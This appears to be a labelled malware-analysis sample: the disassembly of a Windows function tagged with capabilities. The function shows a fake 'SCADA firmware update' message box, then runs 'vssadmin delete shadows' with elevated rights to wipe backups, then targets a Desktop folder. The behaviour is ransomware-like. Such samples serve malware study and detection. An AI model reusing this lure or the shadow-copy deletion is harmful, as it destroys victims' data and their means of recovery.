Function at 0x405710
Capabilities:
Create process on windows
Delete volume shadow copies

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42f9a0
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x44104c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test eax, eax
je 0x405750
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x1000
push str.Firmware_Update
push str.Your_SCADA_Management_Firmware_is_about_to_update._Admin_Priviledges_might_be_needed_and_the_process_will_run_on_the_background_for_a_few_minutes...
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
call fcn.0040d9e7
push 0
push 0x989680
push edx
push eax
call fcn.0042ead0
push edx
push eax
lea ecx, [ebp - 0x94]
call fcn.00402090
add esp, 8
call fcn.0040d9e7
mov esi, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x90]
add esi, 0xd1d34000
adc ecx, 0x907c4ea
cmp ecx, edx
jg 0x405801
jl 0x4057b1
cmp esi, eax
jae 0x405801
push 1
push 0
push 0
push str.vssadmin_delete_shadows__forc:__all
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x405801
mov ecx, eax
sub ecx, 2
je 0x4057f4
sub ecx, 0x4c5
je 0x4057ed
push eax
push str.Error:_Unable_to_execute_the_command__error_code__d__n
call fcn.00401160
add esp, 8
jmp 0x405801
push str.Error:_User_cancelled_the_operation_n
jmp 0x4057f9
push str.Error:_File_not_found_n
call fcn.00401160
add esp, 4
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
push str.USERPROFILE
mov dword [ebp - 4], 0
call fcn.0041742d
mov edx, eax
add esp, 4
test edx, edx
je 0x405b7c
mov ecx, edx
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405856
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00409350
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x14]
mov eax, edx
mov ecx, dword [ebp - 0x18]
sub eax, ecx
push 0x19
push str.DesktopIMPORTANTFOLDER_
cmp eax, 0x19
jb 0x4058a7
cmp edx, 0x10
lea esi, [ebp - 0x28]
lea eax, [ecx + 0x19]
cmovae esi, dword [ebp - 0x28]
add esi, ecx
mov dword [ebp - 0x18], eax
push esi
call fcn.00410100
add esp, 0xc
mov byte [esi + 0x19], 0
lea eax, [ebp - 0x28]
jmp 0x4058be
mov byte [ebp - 0x8c], 0
lea ecx, [ebp - 0x28]
push dword [ebp - 0x8c]
push 0x19
call fcn.0040bc20
movups xmm0, xmmword [eax]
lea ecx, [ebp - 0x58]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x40]
push eax
movq qword [ebp - 0x30], xmm0
call fcn.00407c80
mov edx, dword [ebp - 0x2c]
cmp edx, 0x10
jb 0x405920
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405916
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405bce
push edx
push ecx
call fcn.0040ec31
add esp, 8
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x405958
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40594e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405bce
push edx
push ecx
call fcn.0040ec31
add esp, 8
cmp dword [ebp + 8], 1
jle 0x405979
mov edx, dword [edi + 4]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405966
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x58]
call fcn.00409350
mov byte [ebp - 0x8c], 0
lea edx, [ebp - 0x58]
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x40]
call fcn.0040cb40
add esp, 4
mov edx, 3
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x40]
call fcn.00404e80
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x4059e3
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4059d9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405bd3
push edx
push ecx
call fcn.0040ec31
add esp, 8
mov byte [ebp - 0x8c], 0
lea ecx, [ebp - 0x40]
push dword [ebp - 0x8c]
call fcn.0040cdf0
push str.USERPROFILE
mov byte [ebp - 4], 3
call fcn.0041742d
mov byte [ebp - 0x8c], 0
lea edx, [ebp - 0x90]
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x90], eax
call fcn.0040cdb0
add esp, 0xc
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x88]
call fcn.00402910
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 5
push ecx
mov ecx, eax
call fcn.004022f0
push eax
lea ecx, [ebp - 0x70]
call fcn.00402910
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x74]
cmp edx, 8
jb 0x405a96
mov ecx, dword [ebp - 0x88]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405a8c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405bd8
push edx
push ecx
call fcn.0040ec31
add esp, 8
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x405ad4
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405aca
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405bdd
push edx
push ecx
call fcn.0040ec31
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x405b26
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405b1c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405bdd
push edx
push ecx
call fcn.0040ec31
add esp, 8
xor eax, eax
mov dword [ebp - 0x30], 0
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
call fcn.00404ae0
mov edx, dword [ebp - 0x5c]
xor esi, esi
cmp edx, 8
jb 0x405b81
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405b70
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405be2
push edx
push ecx
call fcn.0040ec31
add esp, 8
jmp 0x405b81
mov esi, 1
mov edx, dword [ebp - 0x44]
cmp edx, 0x10
jb 0x405bb1
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405ba7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405be2
push edx
push ecx
call fcn.0040ec31
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040ebee
mov esp, ebp
pop ebp
ret
call fcn.00417025
call fcn.00417025
call fcn.00417025
call fcn.00417025
call fcn.00417025
int3